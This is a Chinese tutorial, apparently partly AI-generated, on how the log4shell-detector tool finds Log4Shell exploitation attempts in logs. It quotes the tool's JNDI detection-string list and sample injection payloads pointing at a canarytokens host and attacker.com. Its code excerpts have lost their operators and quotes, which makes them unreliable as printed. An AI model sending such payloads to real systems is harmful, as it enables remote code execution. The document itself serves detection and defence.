从0到1开发Log4j攻击检测工具:log4shell-detector启发式算法详解 从0到1开发Log4j攻击检测工具log4shell-detector启发式算法详解【免费下载链接】log4shell-detectorDetector for Log4Shell exploitation attempts项目地址: https://gitcode.com/gh_mirrors/lo/log4shell-detectorLog4j漏洞CVE-2021-44228作为近年来最具影响力的安全威胁之一其远程代码执行能力让无数系统面临风险。log4shell-detector作为一款轻量级Log4j攻击检测工具通过启发式算法实现对Log4j漏洞利用尝试的精准识别。本文将深入解析其核心检测逻辑带你了解如何从0构建一个高效的Log4j攻击检测系统。工具核心功能与工作流程log4shell-detector通过扫描系统日志文件识别其中可能存在的Log4j漏洞利用特征。工具支持多种日志格式包括普通文本、gzip压缩、zstandard压缩和zip归档日志并通过多阶段解码与模式匹配技术有效应对各种混淆和变形攻击。图1log4shell-detector扫描系统日志文件的实时输出界面显示正在处理的日志文件列表及状态工具的核心工作流程包括日志文件识别自动判断日志文件类型并选择对应解压方式多轮解码对URL编码、Base64编码等常见混淆方式进行解码启发式检测通过预定义的检测模式和动态距离算法识别攻击特征结果输出记录包含攻击特征的日志行号、匹配字符串和原始内容启发式检测算法的设计与实现基于特征字符串的基础检测log4shell-detector的核心检测逻辑在Log4ShellDetector/Log4ShellDetector.py中实现。工具首先定义了两组关键检测字符串# 这些字符串将被转换为检测模板 DETECTION_STRINGS [${jndi:ldap:, ${jndi:rmi:, ${jndi:ldaps:, ${jndi:dns:, ${jndi:nis:, ${jndi:nds:, ${jndi:corba:, ${jndi:iiop:, ${jndi:http:] # 这些字符串将直接用于匹配 PLAIN_STRINGS { https://gist.github.com/Neo23x0/e4c8b03ff8cdf1fa63b7d15db6e3860b#gistcomment-3991502: [ header with value of BadAttributeValueException: ], # 更多特征字符串... }这些字符串涵盖了Log4j漏洞利用的核心特征${jndi:...}以及攻击成功后的异常堆栈信息构成了检测算法的基础。动态距离检测算法为应对攻击者对特征字符串的变形和混淆log4shell-detector设计了独特的动态距离检测算法。该算法通过构建检测模板detection pad允许特征字符之间存在一定的距离有效识别被插入无关字符的变形攻击。算法核心逻辑如下将检测字符串转换为字符列表和状态机遍历日志行中的每个字符与检测模板进行匹配跟踪当前匹配级别和字符间距离当距离超过阈值时重置匹配状态当完整匹配检测模板时触发警报# 动态距离检测核心代码 for c in decoded_line: for detection_string in dp: # 字符匹配检查 if c dp[detection_string][chars][dp[detection_string][level]]: # ${直接跟随检查 if dp[detection_string][level] 1 and not dp[detection_string][current_distance] 1: # 重置不满足${格式的匹配 dp[detection_string][current_distance] 0 dp[detection_string][level] 0 dp[detection_string][level] 1 dp[detection_string][current_distance] 0 # 距离计数与重置逻辑 if dp[detection_string][level] 0: dp[detection_string][current_distance] 1 if dp[detection_string][current_distance] dp[detection_string][maximum_distance]: dp[detection_string][current_distance] 0 dp[detection_string][level] 0 # 完整匹配检查 if len(dp[detection_string][chars]) dp[detection_string][level]: return detection_string这种设计使工具能够有效识别如${jndi:l${lower:d}ap://example.com}这类通过大小写转换和字符插入进行混淆的攻击模式。多阶段解码与抗混淆技术为应对各种编码和混淆手段log4shell-detector实现了多阶段解码机制URL解码循环工具通过反复执行URL解码处理多层编码的攻击载荷def decode_line(self, line): while % in line: line_before line line unquote(line) if line line_before: break return lineBase64解码支持针对Base64编码的攻击载荷工具实现了自动解码def base64_decode(self, m): return base64.b64decode(m.group(1)).decode(utf-8) # 在检测前应用Base64解码 decoded_line re.sub(r\${base64:([^}])}, self.base64_decode, decoded_line)这些解码步骤确保工具能够识别经过多层编码和混淆的攻击尝试大大提高了检测能力。实战检测效果与案例分析log4shell-detector在实际使用中表现出优异的检测能力能够识别各种复杂的攻击尝试。以下是工具检测到的典型攻击案例图2log4shell-detector成功检测到多种Log4j攻击尝试包括基本攻击和混淆变形攻击从检测结果可以看到工具成功识别了基本JNDI注入攻击${jndi:ldap://2icarfim8s0vhkzc8wzell.canarytokens.com/a}混淆变形攻击${${lower:d}${lower:p}://attacker.com}编码变形攻击${jndi:${lower:l}dap://example.com}这些案例展示了log4shell-detector的启发式算法在应对真实攻击场景时的有效性。工具使用与部署指南快速开始要使用log4shell-detector首先克隆项目仓库git clone https://gitcode.com/gh_mirrors/lo/log4shell-detector cd log4shell-detector基本扫描命令使用以下命令扫描系统日志目录python3 log4shell-detector.py -p /var/log/ --debug高级选项工具提供多种高级扫描选项--quick快速模式只检查包含2021或2022年份的日志行--silent静默模式只输出检测到的攻击--maximum-distance设置检测模板字符间的最大允许距离总结与扩展方向log4shell-detector通过创新的启发式算法和多阶段解码技术为防御Log4j漏洞提供了强大而轻量的检测方案。其核心优势包括高效准确动态距离算法有效识别各种变形攻击多格式支持处理多种压缩和归档日志格式抗混淆能力多层解码应对各种编码混淆手段轻量易用纯Python实现无需复杂依赖未来可以从以下方向扩展工具能力增加机器学习模型识别新型未知攻击模式实现实时日志流监控功能集成威胁情报识别已知恶意服务器开发图形化用户界面提高易用性通过理解和改进log4shell-detector的启发式检测算法我们可以更好地应对Log4j及类似漏洞带来的安全威胁构建更健壮的防御系统。【免费下载链接】log4shell-detectorDetector for Log4Shell exploitation attempts项目地址: https://gitcode.com/gh_mirrors/lo/log4shell-detector创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考